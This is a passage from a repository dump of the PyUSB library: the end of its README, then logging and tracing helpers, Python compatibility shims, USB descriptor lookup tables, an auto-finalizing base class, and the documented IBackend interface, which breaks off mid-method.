PyUSB on Windows\n===========================\n\nNow that PyUSB is 100% written in Python, you install it on Windows\nin the same way you do on Linux::\n\n    python setup.py install\n\nIf you get some kind of \"command not found\" error, make sure to add\nthe Python install directory to your PATH environment variable or\ngive the complete path to the Python interpreter.\n\nRemember that you need libusb (1.0 or 0.1) or OpenUSB running on your\nsystem. For Windows users, libusb 0.1 is provided through\n`libusb-win32 <http://libusb-win32.sourceforge.net>`_\npackage. Check the libusb website for updates\n(http://www.libusb.info).\n\nReporting bugs/Submitting patches\n=================================\n\nSome people have been sending patches and reporting bugs directly\nat my email. Please, do it through\n`github <https://github.com/walac/pyusb>`_, I had a hardtime tracking\ntheir names to put them in the acknowledgments file. ;-)\n\nPS: this README file was based on the great Josh Lifton's one... ^_^\n"
  },
  {
    "path": "usb/__init__.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nr\"\"\"PyUSB - Easy USB access in Python\n\nThis package exports the following modules and subpackages:\n\n    core - the main USB implementation\n    legacy - the compatibility layer with 0.x version\n    backend - the support for backend implementations.\n    control - USB standard control requests.\n    libloader - helper module for backend library loading.\n\nSince version 1.0, main PyUSB implementation lives in the 'usb.core'\nmodule. New applications are encouraged to use it.\n\"\"\"\n\nimport logging\nimport os\n\n__author__ = 'Wander Lairson Costa'\n\n# Use Semantic Versioning, http://semver.org/\nversion_info = (1, 0, 0)\n__version__ = '%d.%d.%d' % version_info\n\n__all__ = ['legacy', 'control', 'core', 'backend', 'util', 'libloader']\n\ndef _setup_log():\n    from usb import _debug\n    logger = logging.getLogger('usb')\n    debug_level = os.getenv('PYUSB_DEBUG')\n\n    if debug_level is not None:\n        _debug.enable_tracing(True)\n        filename = os.getenv('PYUSB_LOG_FILENAME')\n\n        LEVELS = {'debug': logging.DEBUG,\n                  'info': logging.INFO,\n                  'warning': logging.WARNING,\n                  'error': logging.ERROR,\n                  'critical': logging.CRITICAL}\n\n        level = LEVELS.get(debug_level, logging.CRITICAL + 10)\n        logger.setLevel(level = level)\n\n        try:\n            handler = logging.FileHandler(filename)\n        except:\n            handler = logging.StreamHandler()\n\n        fmt = logging.Formatter('%(asctime)s %(levelname)s:%(name)s:%(message)s')\n        handler.setFormatter(fmt)\n        logger.addHandler(handler)\n    else:\n        class NullHandler(logging.Handler):\n            def emit(self, record):\n                pass\n\n        # We set the log level to avoid delegation to the\n        # parent log handler (if there is one).\n        # Thanks to Chris Clark to pointing this out.\n        logger.setLevel(logging.CRITICAL + 10)\n\n        logger.addHandler(NullHandler())\n\n\n_setup_log()\n\n# We import all 'legacy' module symbols to provide compatibility\n# with applications that use 0.x versions.\nfrom usb.legacy import *\n"
  },
  {
    "path": "usb/_debug.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = ['methodtrace', 'functiontrace']\n\nimport logging\nimport usb._interop as _interop\n\n_enable_tracing = False\n\ndef enable_tracing(enable):\n    global _enable_tracing\n    _enable_tracing = enable\n\ndef _trace_function_call(logger, fname, *args, **named_args):\n    logger.debug(\n                # TODO: check if 'f' is a method or a free function\n                fname + '(' + \\\n                ', '.join((str(val) for val in args)) + \\\n                ', '.join((name + '=' + str(val) for name, val in named_args.items())) + ')'\n            )\n\n# decorator for methods calls tracing\ndef methodtrace(logger):\n    def decorator_logging(f):\n        if not _enable_tracing:\n            return f\n        def do_trace(*args, **named_args):\n            # this if is just a optimization to avoid unecessary string formatting\n            if logging.DEBUG >= logger.getEffectiveLevel():\n                fn = type(args[0]).__name__ + '.' + f.__name__\n                _trace_function_call(logger, fn, *args[1:], **named_args)\n            return f(*args, **named_args)\n        _interop._update_wrapper(do_trace, f)\n        return do_trace\n    return decorator_logging\n\n# decorator for methods calls tracing\ndef functiontrace(logger):\n    def decorator_logging(f):\n        if not _enable_tracing:\n            return f\n        def do_trace(*args, **named_args):\n            # this if is just a optimization to avoid unecessary string formatting\n            if logging.DEBUG >= logger.getEffectiveLevel():\n                _trace_function_call(logger, f.__name__, *args, **named_args)\n            return f(*args, **named_args)\n        _interop._update_wrapper(do_trace, f)\n        return do_trace\n    return decorator_logging\n"
  },
  {
    "path": "usb/_interop.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\n# All the hacks necessary to assure compatibility across all\n# supported versions come here.\n# Please, note that there is one version check for each\n# hack we need to do, this makes maintenance easier... ^^\n\nimport sys\nimport array\n\n__all__ = ['_reduce', '_set', '_next', '_update_wrapper']\n\n# we support Python >= 2.4\nassert sys.hexversion >= 0x020400f0\n\n# On Python 3, reduce became a functools module function\ntry:\n    import functools\n    _reduce = functools.reduce\nexcept (ImportError, AttributeError):\n    _reduce = reduce\n\n# all, introduced in Python 2.5\ntry:\n    _all = all\nexcept NameError:\n    _all = lambda iter_ : _reduce( lambda x, y: x and y, iter_, True )\n\n# we only have the builtin set type since 2.5 version\ntry:\n    _set = set\nexcept NameError:\n    import sets\n    _set = sets.Set\n\n# On Python >= 2.6, we have the builtin next() function\n# On Python 2.5 and before, we have to call the iterator method next()\ndef _next(iter):\n    try:\n        return next(iter)\n    except NameError:\n        return iter.next()\n\n# functools appeared in 2.5\ntry:\n    import functools\n    _update_wrapper = functools.update_wrapper\nexcept (ImportError, AttributeError):\n    def _update_wrapper(wrapper, wrapped):\n        wrapper.__name__ = wrapped.__name__\n        wrapper.__module__ = wrapped.__module__\n        wrapper.__doc__ = wrapped.__doc__\n        wrapper.__dict__ = wrapped.__dict__\n\n# this is used (as of May 2015) twice in core, once in backend/openusb, and in\n# some unit test code. It would probably be clearer if written in terms of some\n# definite 3.2+ API (bytearrays?) with a fallback provided for 2.4+.\ndef as_array(data=None):\n    if data is None:\n        return array.array('B')\n\n    if isinstance(data, array.array):\n        return data\n\n    try:\n        return array.array('B', data)\n    except TypeError:\n        # When you pass a unicode string or a character sequence,\n        # you get a TypeError if the first parameter does not match\n        a = array.array('B')\n        a.fromstring(data) # deprecated since 3.2\n        return a\n"
  },
  {
    "path": "usb/_lookup.py",
    "content": "# Copyright (C) 2009-2014 Walker Inman\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nr\"\"\"usb._lookups - Lookup tables for USB\n\"\"\"\n\ndescriptors = {\n        0x1 : \"Device\",\n        0x2 : \"Configuration\",\n        0x3 : \"String\",\n        0x4 : \"Interface\",\n        0x5 : \"Endpoint\",\n        0x6 : \"Device qualifier\",\n        0x7 : \"Other speed configuration\",\n        0x8 : \"Interface power\",\n        0x9 : \"OTG\",\n        0xA : \"Debug\",\n        0xB : \"Interface association\",\n        0xC : \"Security\",\n        0xD : \"Key\",\n        0xE : \"Encryption type\",\n        0xF : \"Binary device object store (BOS)\",\n        0x10 : \"Device capability\",\n        0x11 : \"Wireless endpoint companion\",\n        0x30 : \"SuperSpeed endpoint companion\",\n        }\n\ndevice_classes = {\n        0x0 : \"Specified at interface\",\n        0x2 : \"Communications Device\",\n        0x9 : \"Hub\",\n        0xF : \"Personal Healthcare Device\",\n        0xDC : \"Diagnostic Device\",\n        0xE0 : \"Wireless Controller\",\n        0xEF : \"Miscellaneous\",\n        0xFF : \"Vendor-specific\",\n        }\n\ninterface_classes = {\n        0x0 : \"Reserved\",\n        0x1 : \"Audio\",\n        0x2 : \"CDC Communication\",\n        0x3 : \"Human Interface Device\",\n        0x5 : \"Physical\",\n        0x6 : \"Image\",\n        0x7 : \"Printer\",\n        0x8 : \"Mass Storage\",\n        0x9 : \"Hub\",\n        0xA : \"CDC Data\",\n        0xB : \"Smart Card\",\n        0xD : \"Content Security\",\n        0xE : \"Video\",\n        0xF : \"Personal Healthcare\",\n        0xDC : \"Diagnostic Device\",\n        0xE0 : \"Wireless Controller\",\n        0xEF : \"Miscellaneous\",\n        0xFE : \"Application Specific\",\n        0xFF : \"Vendor Specific\",\n        }\n\nep_attributes = {\n        0x0 : \"Control\",\n        0x1 : \"Isochronous\",\n        0x2 : \"Bulk\",\n        0x3 : \"Interrupt\",\n        }\n\nMAX_POWER_UNITS_USB2p0 = 2             # mA\nMAX_POWER_UNITS_USB_SUPERSPEED = 8     # mA\n"
  },
  {
    "path": "usb/_objfinalizer.py",
    "content": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2014 André Erdmann\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nimport sys\n\n__all__ = ['AutoFinalizedObject']\n\n\nclass _AutoFinalizedObjectBase(object):\n    \"\"\"\n    Base class for objects that get automatically\n    finalized on delete or at exit.\n    \"\"\"\n\n    def _finalize_object(self):\n        \"\"\"Actually finalizes the object (frees allocated resources etc.).\n\n        Returns: None\n\n        Derived classes should implement this.\n        \"\"\"\n        pass\n\n    def __new__(cls, *args, **kwargs):\n        \"\"\"Creates a new object instance and adds the private finalizer\n        attributes to it.\n\n        Returns: new object instance\n\n        Arguments:\n        * *args, **kwargs -- ignored\n        \"\"\"\n        instance = super(_AutoFinalizedObjectBase, cls).__new__(cls)\n        instance._finalize_called = False\n        return instance\n\n    def _do_finalize_object(self):\n        \"\"\"Helper method that finalizes the object if not already done.\n\n        Returns: None\n        \"\"\"\n        if not self._finalize_called: # race-free?\n            self._finalize_called = True\n            self._finalize_object()\n\n    def finalize(self):\n        \"\"\"Finalizes the object if not already done.\n\n        Returns: None\n        \"\"\"\n        # this is the \"public\" finalize method\n        raise NotImplementedError(\n            \"finalize() must be implemented by AutoFinalizedObject.\"\n        )\n\n    def __del__(self):\n        self.finalize()\n\n\nif sys.hexversion >= 0x3040000:\n    # python >= 3.4: use weakref.finalize\n    import weakref\n\n    def _do_finalize_object_ref(obj_ref):\n        \"\"\"Helper function for weakref.finalize() that dereferences a weakref\n        to an object and calls its _do_finalize_object() method if the object\n        is still alive. Does nothing otherwise.\n\n        Returns: None (implicit)\n\n        Arguments:\n        * obj_ref -- weakref to an object\n        \"\"\"\n        obj = obj_ref()\n        if obj is not None:\n            # else object disappeared\n            obj._do_finalize_object()\n\n\n    class AutoFinalizedObject(_AutoFinalizedObjectBase):\n\n        def __new__(cls, *args, **kwargs):\n            \"\"\"Creates a new object instance and adds the private finalizer\n            attributes to it.\n\n            Returns: new object instance\n\n            Arguments:\n            * *args, **kwargs -- passed to the parent instance creator\n                                 (which ignores them)\n            \"\"\"\n            # Note:   Do not pass a (hard) reference to instance to the\n            #         finalizer as func/args/kwargs, it'd keep the object\n            #         alive until the program terminates.\n            #         A weak reference is fine.\n            #\n            # Note 2: When using weakrefs and not calling finalize() in\n            #         __del__, the object may already have disappeared\n            #         when weakref.finalize() kicks in.\n            #         Make sure that _finalizer() gets called,\n            #         i.e. keep __del__() from the base class.\n            #\n            # Note 3: the _finalize_called attribute is (probably) useless\n            #         for this class\n            instance = super(AutoFinalizedObject, cls).__new__(\n                cls, *args, **kwargs\n            )\n\n            instance._finalizer = weakref.finalize(\n                instance, _do_finalize_object_ref, weakref.ref(instance)\n            )\n\n            return instance\n\n        def finalize(self):\n            \"\"\"Finalizes the object if not already done.\"\"\"\n            self._finalizer()\n\n\nelse:\n    # python < 3.4: keep the old behavior (rely on __del__),\n    #                but don't call _finalize_object() more than once\n\n    class AutoFinalizedObject(_AutoFinalizedObjectBase):\n\n        def finalize(self):\n            \"\"\"Finalizes the object if not already done.\"\"\"\n            self._do_finalize_object()\n"
  },
  {
    "path": "usb/backend/__init__.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nr\"\"\"usb.backend - Backend interface.\n\nThis module exports:\n\nIBackend - backend interface.\n\nBackends are Python objects which implement the IBackend interface.\nThe easiest way to do so is inherinting from IBackend.\n\nPyUSB already provides backends for libusb versions 0.1 and 1.0,\nand OpenUSB library. Backends modules included with PyUSB are required to\nexport the get_backend() function, which returns an instance of a backend\nobject. You can provide your own customized backend if you\nwant to. Below you find a skeleton of a backend implementation module:\n\nimport usb.backend\n\nclass MyBackend(usb.backend.IBackend):\n    pass\n\ndef get_backend():\n    return MyBackend()\n\nYou can use your customized backend by passing it as the backend parameter of the\nusb.core.find() function. For example:\n\nimport custom_backend\nimport usb.core\n\nmyidVendor = 0xfffe\nmyidProduct = 0x0001\n\nmybackend = custom_backend.get_backend()\n\ndev = usb.core.find(backend = mybackend, idProduct=myidProduct,\n                    idVendor=myidVendor)\n\nFor custom backends, you are not required to supply the get_backend() function,\nsince the application code will instantiate the backend.\n\nIf you do not provide a backend to the find() function, it will use one of the\ndefaults backend according to its internal rules. For details, consult the\nfind() function documentation.\n\"\"\"\n\nimport usb._objfinalizer as _objfinalizer\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = ['IBackend', 'libusb01', 'libusb10', 'openusb']\n\ndef _not_implemented(func):\n    raise NotImplementedError(func.__name__)\n\nclass IBackend(_objfinalizer.AutoFinalizedObject):\n    r\"\"\"Backend interface.\n\n    IBackend is the basic interface for backend implementations. By default,\n    the methods of the interface raise a NotImplementedError exception. A\n    backend implementation should replace the methods to provide the funcionality\n    necessary.\n\n    As Python is a dynamic typed language, you are not obligated to inherit from\n    IBackend: everything that behaves like an IBackend is an IBackend. But you\n    are strongly recommended to do so, inheriting from IBackend provides consistent\n    default behavior.\n    \"\"\"\n\n    def enumerate_devices(self):\n        r\"\"\"This function is required to return an iterable object which\n        yields an implementation defined device identification for each\n        USB device found in the system.\n\n        The device identification object is used as argument to other methods\n        of the interface.\n        \"\"\"\n        _not_implemented(self.enumerate_devices)\n\n    def get_device_descriptor(self, dev):\n        r\"\"\"Return the device descriptor of the given device.\n\n        The object returned is required to have all the Device Descriptor\n        fields accessible as member variables. They must be convertible (but\n        not required to be equal) to the int type.\n\n        dev is an object yielded by the iterator returned by the enumerate_devices()\n        method.\n        \"\"\"\n        _not_implemented(self.get_device_descriptor)\n\n    def get_configuration_descriptor(self, dev, config):\n        r\"\"\"Return a configuration descriptor of the given device.\n\n        The object returned is required to have all the Configuration Descriptor\n        fields acessible as member variables. They must be convertible (but\n        not required to be equal) to the int type.\n\n        The dev parameter is the device identification object.\n        config is the logical index of the configuration (not the bConfigurationValue\n        field).  By \"logical index\" we mean the relative order of the configurations\n        returned by the peripheral as a result of GET_DESCRIPTOR request.\n        \"\"\"\n        _not_implemented(self.get_configuration_descriptor)\n\n    def get_interface_descriptor(self, dev, intf, alt, config):\n        r\"\"\"Return an interface descriptor of the given device.\n\n        The object returned is required to have all the Interface Descriptor\n        fields accessible as member variables. They must be convertible (but\n        not required to be equal) to the int type.\n\n        The dev parameter is the device identification object.\n        The intf parameter is the interface logical index (not the bInterfaceNumber field)\n        and alt is the alternate setting logical index (not the bAlternateSetting value).\n        Not every interface has more than one alternate setting.  In this case, the alt\n        parameter should be zero. config is the configuration logical index (not the\n        bConfigurationValue field).\n        \"\"\"\n        _not_implemented(self.get_interface_descriptor)\n\n    def get_endpoint_descriptor(self, dev, ep, intf, alt, config):\n        r\"\"\"Return an endpoint descriptor of the given device.\n\n        The object returned is required to have all the Endpoint Descriptor\n        fields acessible as member variables. They must be convertible (but\n        not required to be equal) to the int type.\n\n        The ep parameter is the endpoint logical index (not the bEndpointAddress\n        field) of the endpoint descriptor desired. dev, intf, alt and config are the same\n        values already described in the get_interface_descriptor() method.\n        \"\"\"\n        _not_implemented(self.get_endpoint_descriptor)\n\n    def open_device(self, dev):\n        r\"\"\"Open the device for data exchange.\n\n        This method opens the device identified by the dev parameter for communication.\n        This method must be called before calling any communication related method, such\n        as transfer methods.\n\n        It returns a handle identifying the communication instance. This handle must be\n        passed to the communication methods.\n        \"\"\"\n        _not_implemented(self.open_device)\n\n    def close_device(self, dev_handle):\n        r\"\"\"Close the device handle.\n\n        This method closes the device communication channel and releases any\n        system resources related to it.\n        \"\"\"\n        _not_implemented(self.close_device)\n\n    def set_configuration(self, dev_handle, config_value):\n        r\"\"\"Set the active device configuration.\n\n        This method should be called to set the active configuration\n        of the device. The dev_handle parameter is the value returned\n        by the open_device() method and the config_value parameter is the\n        bConfigurationValue field of the related configuration descriptor.\n        \"\"\"\n        _not_implemented(self.set_configuration)\n\n    def get_configuration(self, dev_handle):\n        r\"\"\"Get the current active device configuration.\n\n        This method returns the bConfigurationValue of the currently\n        active configuration. Depending on the backend and the OS,\n        either a cached value may be returned or a control request may\n        be issued. The dev_handle parameter is the value returned by\n        the open_device method.\n        \"\"\"\n        _not_implemented(self.get_configuration)\n\n    def set_interface_altsetting(self, dev_handle, intf, altsetting):\n        r\"\"\"Set the interface alternate setting.\n\n        This method should only be called when the interface has more than\n        one alternate setting. The dev_handle is the value returned by the\n        open_device() method. intf and altsetting are respectivelly the\n        bInterfaceNumber and bAlternateSetting fields of the related interface.\n        \"\"\"\n        _not_implemented(self.set_interface_altsetting)\n\n    def claim_interface(self, dev_handle, intf):\n        r\"\"\"Claim the given interface.\n\n        Interface claiming is not related to USB spec itself, but it is\n        generally an necessary call of the USB libraries. It requests exclusive\n        access to the interface on the system. This method must be called\n        before using one of the transfer methods.\n\n        dev_handle is the value returned by the open_device() method and\n        intf is the bInterfaceNumber field of the desired interface.\n        \"\"\"\n        _not_implemented(self.claim_interface)\n\n    def release_interface(self, dev_handle, intf):\n        r\"\"\"Release the claimed interface.\n\n        dev_handle and intf are the same parameters of the claim_interface\n        method.\n        \"\"\"\n        _not_implemented(self.release_interface)\n\n    def bulk_write(self, dev_handle, ep, intf, data, timeout):\n        r\"\"\"Perform a bulk write.\n\n        dev_handle is the value returned by the open_device() method.\n        The ep parameter is the bEndpointAddress field whose endpoint\n        the data will be sent to. intf is the bInterfaceNumber field\n        of the interface containing the endpoint. The data parameter\n        is the data to be sent. It must be an instance of the array.array\n        class. The timeout parameter specifies a time limit to the operation\n        in miliseconds.\n\n        The method returns the number of bytes written.\n        \"\"\"\n        _not_implemented(self.bulk_write)\n\n    def bulk_read(self, dev_handle, ep, intf, buff, timeout):\n        r\"\"\"Perform a bulk read.\n\n        dev_handle is the value returned by the open_device() method.\n        The ep parameter is the bEndpointAddress field whose endpoint\n        the data will be received from. intf is the bInterfaceNumber field\n        of the interface containing the endpoint. The buff parameter\n        is the buffer to receive the data read, the length of the buffer\n        tells how many bytes should be read. The timeout parameter\n        specifies a time limit to the operation in miliseconds.\n\n        The method returns the number of bytes actually read.\n        \"\"\"\n        _not_implemented(self.bulk_read)\n\n    def intr_write(self, dev_handle, ep, intf, data, timeout):\n        r\"\"\"Perform an interrupt write.\n\n        dev_handle is the value returned by the open_device() method.\n        The ep parameter is the bEndpointAddress field whose endpoint\n        the data will be sent to. intf is the bInterfaceNumber field\n        of the interface containing the endpoint. The data parameter\n        is the data to be sent. It must be an instance of the array.array\n        class. The timeout parameter specifies a time limit to the operation\n        in miliseconds.\n\n        The method returns the number of bytes written.\n        \"\"\"\n        _not_implemented(self.intr_write)\n\n    def intr_read(self, dev_handle, ep, intf, size, timeout):\n        r\"\"\"Perform an interrut read.\n\n        dev_handle is the value returned by the open_device() method.\n        The ep parameter is the bEndpointAddress field whose endpoint\n        the data will be received from. intf is the bInterfaceNumber field\n        of the interface containing the endpoint. The buff parameter\n        is the buffer to receive the data read, the length of the buffer\n        tells how many bytes should be read.  The timeout parameter\n        specifies a time limit to the operation in miliseconds.\n\n        The method returns the number of bytes actually read.\n        \"\"\"\n        _not_implemented(self.intr_read)\n\n    def iso_write(self, dev_handle, ep, intf, data, timeout):\n        r\"\"\"Perform an isochronous write.\n\n        dev_handle is the value returned by the open_device() method.\n        The ep parameter is the bEndpointAddress field whose endpoint\n        the data will be sent to. intf is the bInterfaceNumber field\n        of the interface containing the endpoint. The data parameter\n        is the data to be sent. It must be an instance of the array.array\n        class. The timeout parameter specifies a time limit to the operation\n        in miliseconds.\n\n        The method returns the number of bytes written.\n        \"\"\"\n        _not_implemented(self.iso_write)\n\n    def iso_read(self, dev_handle, ep, intf, size, timeout):\n        r\"\"\"Perform an isochronous read.\n\n        dev_handle is the value returned by the open_device() method.\n        The ep parameter is the bEndpointAddress field whose endpoint\n        the data will be received from. intf is the bInterfaceNumber field\n        of the interface containing the endpoint. The buff parameter\n        is buffer to receive the data read, the length of the buffer tells\n        how many bytes should be read. The timeout parameter specifies\n        a time limit to the operation in miliseconds.\n\n        The method returns the number of bytes actually read.\n        \"\"\"\n        _not_implemented(self.iso_read)\n\n    def ctrl_transfer(self,\n                      dev_handle,\n                      bmRequestType,\n                      bRequest,\n                      wValue,\n                      wIndex,\n                      data,\n                      timeout):\n        r\"\"\"Perform a control transfer on the endpoint 0.\n\n        The direction of the transfer is inferred from the bmRequestType\n        field of the setup packet.\n\n        dev_handle is the value returned by the open_device() method.\n        bmRequestType, bRequest, wValue and wIndex are the same fields\n        of the setup packet. data is an array object, for OUT requests\n        it contains the bytes to transmit in the data stage and for\n        IN requests it is the buffer to hold the data read. The number\n        of bytes requested to transmit or receive is equal to the length\n        of the array times the data.itemsize field. The timeout parameter\n        specifies a time limit to the operation in miliseconds.\n\n        Return the number of bytes written (for OUT transfers) or the data\n        read (for IN transfers), as an array.array object.\n        \"\"\"\n        _not_implemented(self.ctrl_transfer)\n\n    def clear_halt(self, dev_handle, ep):\n        r\"\"\"Clear the halt/stall condition for the endpoint.\"\"\"\n        _not_implemented(self.clear_halt)\n\n    def reset_device(self, dev_handle):\n        